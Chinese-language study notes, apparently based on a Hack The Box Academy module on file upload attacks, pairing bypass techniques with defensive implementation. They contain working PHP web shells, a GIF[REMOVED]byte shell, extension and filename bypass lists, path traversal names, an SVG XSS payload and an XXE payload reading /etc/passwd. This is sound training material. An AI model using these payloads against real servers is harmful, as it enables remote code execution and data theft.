来源:Hack The Box Academy,Module 136。本文按检测、绕过、影响验证和防御重新组织,并非网页逐句复制。所有操作仅限 HTB 靶场或获得明确授权的安全测试环境。

0. 本章知识地图
识别上传入口与请求结构
→ 确认文件保存位置和访问方式
→ 判断验证层:客户端 / 扩展名 / MIME / 文件签名 / 内容
→ 逐层验证缺陷,而不是盲猜后缀
→ 任意上传:Web Shell 或 Reverse Shell
→ 受限上传:XSS、XXE、DoS、文件覆盖等影响
→ 以随机文件名、目录隔离、多层校验和最小权限修复
章节结构
- Intro to File Upload Attacks
- Absent Validation
- Upload Exploitation
- Client-Side Validation
- Blacklist Filters
- Whitelist Filters
- Type Filters
- Limited File Uploads
- Other Upload Attacks
- Preventing File Upload Vulnerabilities
- Skills Assessment - File Upload Attacks
前置知识与环境
- 熟悉 Linux 命令行、HTTP 请求和 multipart/form-data;
- 能使用 Burp Suite 拦截、编辑并重放上传请求;
- 了解 HTML、PHP、Web 服务器和文件权限;
- 能区分客户端校验与服务端校验;
- 反向连接实验需要 Pwnbox/VPN IP、可达监听端口和明确授权;
- 所有测试文件在验证后应清理。
1. Intro to File Upload Attacks:风险与攻击面
文件上传让用户数据进入后端文件系统。若应用只相信文件名、扩展名、浏览器提供的 MIME 或不进行验证,上传内容可能被服务器解释、被其他用户打开,或覆盖现有文件。
1.1 风险最高的形态
未认证用户
+ 任意文件类型
+ 文件位于 Web 可访问目录
+ 服务器会解释脚本
= 可能直接远程代码执行
1.2 常见影响
- 上传 Web Shell 执行系统命令;
- 上传 Reverse Shell 建立交互式连接;
- 上传 HTML/SVG 触发 Stored XSS;
- 上传 XML/SVG 触发 XXE;
- 使用巨大或特殊文件造成资源耗尽;
- 通过文件名或路径控制覆盖配置和关键文件;
- 利用过时图片/文档处理库中的漏洞。
1.3 测试前要回答的问题
- 是否需要登录?谁有上传权限?
- 浏览器只允许哪些扩展名?
- 服务端检查文件名、MIME、签名还是实际内容?
- 上传后文件名是否改变?
- 文件存储在哪里,是否能从 Web 访问?
- 上传目录是否会执行 PHP、ASP、JSP 等脚本?
- 同名文件会覆盖、重命名还是拒绝?
2. Absent Validation:缺少服务端验证
2.1 正常上传流程分析
先上传一个合法图片,再通过 Burp 查看请求:
POST /upload.php HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="uploadFile"; filename="image.jpg"
Content-Type: image/jpeg
<FILE_BYTES>
------BOUNDARY--
上传请求包含三个容易被错误信任的值:
- filename 中的扩展名;
- 分段的 Content-Type;
- 文件内容本身。
前两个值都由客户端控制。
2.2 最小 Web Shell
PHP 实验文件:
<?php system($_REQUEST['cmd']); ?>
保存为 shell.php 后上传。若上传成功并能访问:
http://target/uploads/shell.php?cmd=id
只使用 id、whoami 等低影响命令证明执行,不要一开始修改文件或配置。
2.3 成功条件
- 服务端允许 .php 或等效脚本扩展名;
- 上传内容未被重编码或清洗;
- 文件位于可访问路径;
- 上传目录启用了对应脚本解释器;
- Web 服务账户有权执行命令。
上传成功不等于代码执行;如果服务器把 .php 当作下载文件或纯文本返回,则只能证明任意文件存储。
2.4 定位上传文件
- 检查上传响应中的 URL;
- 查看个人资料图片的 src;
- 查看 HTML、API 响应和重定向位置;
- 检查文件是否被随机重命名;
- 使用应用自身“查看/下载”功能访问。
2.5 结果判断
现象 结论 .php 被拒绝 存在某种验证,进入绕过分析 上传成功但访问 404 路径未知、重命名或不在 Web 根目录 访问后下载文件 上传目录不解释 PHP 显示 PHP 源码 服务器未配置 PHP 处理器 返回命令输出 已确认服务器端代码执行
3. Upload Exploitation:Web Shell 与 Reverse Shell
3.1 Web Shell 的使用场景
Web Shell 通过 HTTP 参数执行单条命令,适合:
- 验证代码执行;
- 查询当前用户、主机名和目录;
- 在无法建立反向连接时继续枚举;
- 保持操作与 Web 请求一一对应,便于记录。
基本示例:
<?php system($_GET['cmd']); ?>
调用:
curl 'http://target/uploads/shell.php?cmd=id'
命令包含空格和特殊字符时应进行 URL 编码。
3.2 使用现成 Web Shell
Pwnbox/Kali 常见目录:
ls /usr/share/webshells/
ls /usr/share/webshells/php/
章节还介绍了功能更完整的 Web Shell 项目。首次使用前应查看代码、确认所需 PHP 版本,并只从可信来源获取;复杂 Shell 更容易触发安全产品,也增加测试痕迹。
3.3 Reverse Shell
Reverse Shell 由目标主动连接测试机监听端。先在 Pwnbox 监听:
nc -lvnp 1234
再上传与目标后端语言匹配的 Reverse Shell,并把其中的 IP 和端口修改为自己的 Pwnbox/VPN 地址与监听端口。
3.4 Reverse Shell 前置条件
- 目标能主动访问 Pwnbox IP 和端口;
- VPN 路由及本地防火墙允许连接;
- 上传脚本可以执行;
- Web 服务账户能够启动相关进程;
- 目标具有脚本所依赖的解释器或系统工具;
- 监听必须先启动。
3.5 Web Shell 与 Reverse Shell 对比
特性 Web Shell Reverse Shell 通信方向 测试者发 HTTP 请求 目标主动回连 交互体验 一次一条命令 接近交互式终端 网络要求 能访问上传 URL 目标允许出站连接 稳定性 通常较高 易受防火墙、超时影响 痕迹 Web 访问日志 Web 日志 + 出站连接
3.6 Shell 失败排查
- 检查载荷 IP 是否误用本地 NAT 地址;
- 确认端口监听在正确网卡;
- 确认上传 URL 实际触发脚本而非下载;
- 检查目标出站流量限制;
- 检查 PHP disable_functions 或服务器权限;
- 先用简单 Web Shell 和 id 区分“代码不能执行”与“反向网络不通”。
4. Client-Side Validation:绕过仅前端校验
客户端 JavaScript、HTML accept 属性和文件选择器提示都在用户浏览器中运行,攻击者能够修改或绕过。
4.1 常见前端限制
<input type="file" accept="image/png,image/jpeg">
if (!file.name.match(/\.(jpg|jpeg|png)$/i)) {
alert('Only images are allowed');
return;
}
这些逻辑改善用户体验,但不能构成安全边界。
4.2 方法一:浏览器开发者工具
可在 Elements/Debugger 中:
- 删除 accept 属性;
- 修改允许扩展名;
- 禁用或绕过校验函数;
- 直接调用上传请求。
4.3 方法二:代理拦截
- 正常选择合法图片通过前端校验。
- Burp 拦截 multipart/form-data 请求。
- 把 filename、Content-Type 和文件内容替换为测试文件。
- 转发请求并观察服务端响应。
如果修改后的危险文件仍被服务端接受,说明验证只存在于客户端。
4.4 方法三:直接请求
可以保存正常上传请求并使用 Burp Repeater 修改,或用 curl -F 重建:
curl -F 'uploadFile[email protected];type=image/jpeg' \
'http://target/upload.php'
字段名、Cookie、CSRF Token 和附加参数必须与真实请求一致。
4.5 验证要点
- 不要只观察前端提示,要检查真实服务器响应;
- 上传成功后必须确认文件是否保存以及如何访问;
- 如果服务端仍拒绝,说明还有扩展名、MIME 或内容校验。
5. Blacklist Filters:扩展名黑名单
黑名单尝试拒绝危险扩展名,例如 .php,但容易遗漏等效扩展名、大小写或服务器配置中的其他映射。
5.1 识别黑名单
- .php 被拒绝,而随机未知扩展名被接受;
- 错误消息只针对少量扩展名;
- MIME 和内容不变,仅改变扩展名就改变结果。
5.2 PHP 等效扩展名
服务器配置可能解释:
.php
.php3
.php4
.php5
.php7
.phtml
.phar
.phps
并非所有服务器都支持这些扩展名。测试结果必须以“上传是否接受”和“访问时是否执行”两步确认。
5.3 大小写变化
.pHp
.PhP
.PHP
大小写绕过是否有效取决于过滤代码和文件系统。Linux 文件名区分大小写,但 Web 服务器处理器匹配可能另有规则。
5.4 扩展名字典 Fuzzing
准备后缀列表后可使用 Burp Intruder,把 Payload Position 放在扩展名处。也可使用 ffuf 重放上传请求,但 multipart 请求更适合先从 Burp 导出并确保边界、Cookie 和 CSRF 正确。
测试时记录:
- 哪些扩展名被接受;
- 服务器保存后的文件名;
- 访问时返回、下载还是执行;
- 响应长度与错误文本。
5.5 双扩展名
shell.php.jpg
shell.jpg.php
一个组件可能检查最后扩展名,而另一个组件根据前一个扩展名或服务器映射执行。只有 .php 位于服务器实际解释位置时才有执行意义。
5.6 黑名单的根本问题
危险扩展名会随后端语言、Web 服务器和模块变化;靠枚举“禁止项”很难完整覆盖。防御应使用业务允许列表,而非黑名单。
6. Whitelist Filters:允许列表与文件名解析差异
允许列表只接受预期扩展名,原则上比黑名单安全;若实现仅使用正则子串、未规范化文件名,仍可能被绕过。
6.1 薄弱正则
错误示例:
if (preg_match('/\.jpg|\.jpeg|\.png/', $fileName)) {
// accept
}
它只要求名称中“出现”允许扩展名,而非必须以该扩展名结束,因此可能接受:
shell.jpg.php
更合理的匹配需要锚定结尾,但仍不能代替内容检查。
6.2 双扩展名和顺序
shell.php.jpg
shell.jpg.php
应结合过滤逻辑与服务器解释规则测试。浏览器显示为图片不等于服务器执行脚本,反之亦然。
6.3 特殊字符注入
不同操作系统、语言函数和 Web 服务器可能对文件名中的特殊字符处理不同:
shell.php%00.jpg
shell.php%0a.jpg
shell.php%20.jpg
shell.php.
shell.php/
shell.php::$DATA
- 空字节 %00 主要影响旧环境;现代 PHP 已普遍修复。
- 尾随点/空格在 Windows 文件名规范化中可能被移除。
- ::$DATA 与 NTFS 数据流解析相关。
- URL 编码是否解码取决于处理阶段。
这些是环境相关测试,不是通用万能 Payload。
6.4 字符注入自动化
章节使用 Bash 生成多个文件名组合的思路:
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…'; do
echo "shell.php${char}.jpg"
echo "shell.jpg${char}.php"
done
生成后可作为 Burp Intruder Payload 列表。不要在 Shell 中直接把未检查字符串当命令执行。
6.5 正确判断
必须分别记录三个结论:
过滤器接受文件
≠ 保存名称仍含危险扩展名
≠ Web 服务器执行文件
7. Type Filters:MIME 与文件签名校验
7.1 MIME Type 校验
上传请求中的 Content-Type 由客户端提供:
Content-Type: image/jpeg
如果服务端只相信该字段,代理中将脚本的类型改为 image/jpeg 即可能绕过:
curl -F 'uploadFile[email protected];type=image/jpeg' \
'http://target/upload.php'
7.2 浏览器 accept 与 MIME
<input type="file" accept="image/*">
这只限制文件选择器展示,不验证上传内容。
7.3 文件签名(Magic Bytes)
部分服务端通过文件开头识别类型。常见签名示意:
GIF: GIF8
PNG: 89 50 4E 47 0D 0A 1A 0A
JPEG: FF D8 FF
章节演示在脚本前加入图片标识:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
再结合可执行扩展名或扩展名绕过进行测试。文件头通过不代表文件是安全图片,因为后续仍可能包含脚本。
7.4 使用 file 检查
file shell.gif
xxd -l 16 shell.gif
- file 根据特征猜测文件类型;
- xxd 可查看实际头部字节。
服务端也可能使用类似 finfo_file()、mime_content_type() 或图像解码库。
7.5 多重校验的绕过判断
扩展名允许?
→ MIME 允许?
→ 文件签名允许?
→ 图像是否能被真实解码?
→ 保存后是否重新编码?
越靠后的真实解析/重编码越难被简单字符串伪造绕过。
8. Limited File Uploads:受限类型也可能有攻击面
无法上传服务器端脚本时,允许的图片、HTML、XML、SVG 等仍可能影响访问者或后端解析器。
8.1 SVG Stored XSS
SVG 是 XML 格式,可包含脚本:
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(window.origin)</script>
</svg>
前置条件:
- 允许上传 SVG;
- 文件由浏览器直接以 SVG 文档/同源资源打开;
- 响应头和 CSP 未阻止脚本;
- 应用没有清理 SVG 内容。
如果 SVG 只通过 <img> 渲染,脚本行为可能受到浏览器限制;应以实际触发方式验证。
8.2 SVG XXE
若后端用启用了外部实体的 XML 解析器处理 SVG,可尝试读取服务器文件。概念结构:
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
是否成功取决于服务端是否解析 XML、是否允许外部实体,以及结果是否进入输出。
8.3 XML/文档类文件
除 SVG 外,应用可能处理 XML、Office 文档或 PDF。风险来自后端库如何解析,而不只是扩展名。过时库可能存在已知漏洞。
8.4 DoS 风险
- 超大文件占满磁盘;
- 高分辨率或压缩率极高的图片消耗内存/CPU;
- ZIP Bomb 在解压时膨胀;
- XML 实体扩展耗尽资源;
- 大量并发小文件消耗 inode 或对象存储额度。
课程目的在于识别影响;不要在共享或生产环境实际触发资源耗尽。
8.5 文件可公开访问造成的信息泄露
即使文件无主动代码,也应检查:
- 上传内容是否默认公开;
- 文件 URL 是否可预测;
- 是否保留 EXIF、作者和地理位置元数据;
- 用户能否读取其他用户上传的文件。
9. Other Upload Attacks:文件名、覆盖与配置风险
9.1 文件名注入
应用如果把原始文件名用于 Shell 命令、SQL 查询、日志或 HTML 输出,可能引入:
- 命令注入;
- SQL 注入;
- XSS;
- 日志伪造;
- 路径遍历。
测试时应关注服务端是否保留原始文件名,以及文件名在哪里显示或处理。
9.2 路径遍历与文件覆盖
危险文件名示意:
../../../../tmp/test.txt
../config.php
若服务端直接拼接用户文件名,可能将文件写出上传目录。成功还取决于路径规范化、目录权限和 multipart 文件名处理。
9.3 配置文件上传
某些服务器允许目录级配置改变处理规则,例如 Apache .htaccess 或 IIS web.config。如果应用允许上传这些文件且服务器读取它们,攻击者可能改变扩展名到脚本处理器的映射。
前置条件十分严格:
- 文件名未被重命名;
- 上传目录允许配置覆盖;
- Web 服务器启用了相关功能;
- 上传文件位于生效目录。
9.4 同名覆盖
如果应用保留原始名称并允许覆盖,可能替换:
- 其他用户的上传内容;
- 站点图片或前端资源;
- 应用配置或可执行脚本;
- 定时任务处理的输入文件。
应使用无害测试文件验证覆盖行为,避免破坏业务数据。
9.5 元数据与处理链
图片转换、缩略图、OCR、杀毒扫描和文档预览会引入额外解析器。文件上传安全不仅是 Web 层过滤,还包括所有后续处理库的版本和隔离边界。
10. Preventing File Upload Vulnerabilities:安全实现
10.1 多层验证原则
认证与授权
+ 业务允许列表扩展名
+ 服务端检测 MIME
+ 文件签名与真实解析
+ 大小、尺寸和数量限制
+ 随机服务器文件名
+ Web 根目录外存储
+ 上传目录禁止执行
任何单一检查都不足以防御全部上传攻击。
10.2 扩展名允许列表
服务端解析最后一个扩展名,转换为小写,并与严格允许列表比较:
$allowedExtensions = ['jpg', 'jpeg', 'png'];
$extension = strtolower(pathinfo($_FILES['uploadFile']['name'], PATHINFO_EXTENSION));
if (!in_array($extension, $allowedExtensions, true)) {
die('Invalid extension');
}
原文件名不能直接决定服务器路径。
10.3 MIME 与内容检查
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['uploadFile']['tmp_name']);
$allowedMime = ['image/jpeg', 'image/png'];
if (!in_array($mime, $allowedMime, true)) {
die('Invalid file type');
}
对图片还应使用图像库真正解码并重新编码,去除脚本和元数据。不能只信任请求中的 Content-Type。
10.4 随机文件名与目录隔离
$newName = bin2hex(random_bytes(16)) . '.' . $extension;
- 上传文件保存在 Web 根目录之外;
- 下载通过应用按内部 ID 返回;
- 若必须公开,使用独立静态域名和禁止脚本执行的服务器;
- 上传目录只授予必要写权限,应用代码目录不可写。
10.5 Web 服务器配置
- Apache 上传目录关闭 PHP/CGI 处理;
- Nginx 的脚本 Location 必须限制真实脚本路径;
- IIS 禁止上传目录运行脚本;
- 不允许用户上传 .htaccess、web.config 等配置;
- 设置 X-Content-Type-Options: nosniff;
- 下载敏感类型时使用 Content-Disposition: attachment。
10.6 资源限制
- 文件大小上限;
- 图片尺寸和像素上限;
- 用户配额和上传频率限制;
- 解压后的总大小、文件数量和嵌套深度限制;
- 后台处理器设置 CPU、内存和超时;
- 定期清理未关联或临时文件。
10.7 安全处理流程
- 上传到不可执行的临时目录。
- 生成随机内部文件名。
- 校验扩展名、MIME、签名和真实解析结果。
- 扫描恶意内容并重新编码可解析媒体。
- 通过后才移动到最终隔离存储。
- 数据库只保存内部 ID 和必要元数据。
- 下载时检查对象级权限。
10.8 修复验收
- 客户端限制被绕过时,服务端仍拒绝危险文件;
- 双扩展名、大小写、特殊字符和伪造 MIME 均不能绕过;
- 上传后的文件无法作为服务器端脚本执行;
- 原始文件名不能控制目录或覆盖现有文件;
- SVG/XML 等主动内容按业务需要禁用或清理;
- 大文件、压缩包和并发上传受到限制;
- 文件访问符合用户权限。
11. Skills Assessment:综合评估工作流
阶段一:建立正常请求基线
- 上传合法文件并拦截请求。
- 记录字段名、Cookie、CSRF Token、文件名、MIME 和内容。
- 记录上传响应与最终文件 URL。
- 判断文件是否被重命名或转换。
阶段二:确定验证层
浏览器不允许选择文件? → 客户端校验
代理修改后服务端接受? → 仅客户端校验
特定扩展名拒绝? → 黑名单/允许列表
改 MIME 后接受? → 信任 Content-Type
改文件头后接受? → 文件签名检查
图片被重新生成? → 真实解析/重编码
阶段三:系统测试
- 先测试等效扩展名和大小写;
- 再测试双扩展名与薄弱正则;
- 再修改 MIME;
- 最后根据需要测试文件签名和内容;
- 每次只改变一个变量,保持因果清晰。
阶段四:验证影响
- 任意脚本上传:先用 id/whoami 验证;
- 只允许 SVG/XML:评估 XSS 或 XXE;
- 检查是否能覆盖或路径遍历;
- 不在共享环境执行资源耗尽测试;
- 记录“接受、保存、访问、解释”四个阶段。
阶段五:清理与报告
- 删除上传的 Shell、SVG 和测试文件;
- 关闭监听服务;
- 记录服务端验证缺失的具体层;
- 给出目录隔离、允许列表、随机命名、内容解析和权限限制建议。
实验记录模板
## 上传入口
- 页面/接口:
- 是否需要认证:
- 字段名:
- CSRF/Cookie:
- 正常文件类型:
## 保存行为
- 上传后文件名:
- 文件 URL:
- 是否重编码:
- 是否公开访问:
- 是否允许覆盖:
## 校验层
- 客户端:
- 扩展名:黑名单 / 允许列表
- MIME:
- Magic Bytes:
- 内容解析:
## 绕过与影响
- 使用的扩展名:
- Content-Type:
- 文件签名:
- Web Shell/受限文件影响:
- 命令执行身份:
## 修复
- 随机命名:
- 根目录外存储:
- 禁止执行:
- 多层内容检查:
- 配额/资源限制:
速查表
目的 方法 结果判断 查看上传请求 Burp Proxy/Repeater 识别字段、MIME、CSRF 和文件名 绕过前端限制 代理中替换文件 服务端仍接受说明仅有客户端校验 测试黑名单 等效扩展名、大小写 接受后还要验证服务器是否执行 测试允许列表 双扩展名、解析差异 关注保存后的最终名称 测试 MIME 修改分段 Content-Type 证明服务端信任客户端 MIME 测试文件头 添加合法 Magic Bytes 证明仅检查浅层签名 验证 Web Shell ?cmd=id 响应出现服务账户身份 Reverse Shell 监听 nc -lvnp PORT 目标主动连接监听端 SVG XSS SVG <script> 以实际访问方式确认执行 SVG XXE 外部实体 后端解析且结果可观察才成立 文件类型检查 file, xxd 观察识别结果和实际头部
常见故障排查
现象 优先检查 前端拒绝文件 用代理提交,判断是否只有客户端校验 服务端仍拒绝 分别测试扩展名、MIME、签名和内容 上传成功但找不到 响应、HTML src、随机名称、私有存储 脚本被下载 上传目录未启用解释器 脚本显示源码 服务器无对应处理器或 MIME 配置 Web Shell 执行但无回连 出站网络、防火墙、监听 IP/端口 伪造 GIF 仍被拒绝 服务端真实解码或重编码图片 双扩展名成功上传但不执行 Web 服务器只按最后扩展名处理 SVG 脚本不触发 <img> 上下文、CSP、响应 MIME、内容清理 同名上传未覆盖 服务端随机命名或自动追加序号
最终记忆框架
文件上传测试的四个独立结论:
1. 文件是否被接受?
2. 服务端保存了什么名字和内容?
3. 文件是否能够被访问?
4. Web 服务器/后端如何解释它?
上传成功 ≠ 可访问
可访问 ≠ 会执行
扩展名正确 ≠ 内容安全
MIME 正确 ≠ 文件真实类型正确
文件上传漏洞的核心不是寻找一个“万能后缀”,而是找出验证链中哪一层缺失,以及存储服务器、Web 服务器和后续解析器对同一个文件的理解是否不同。
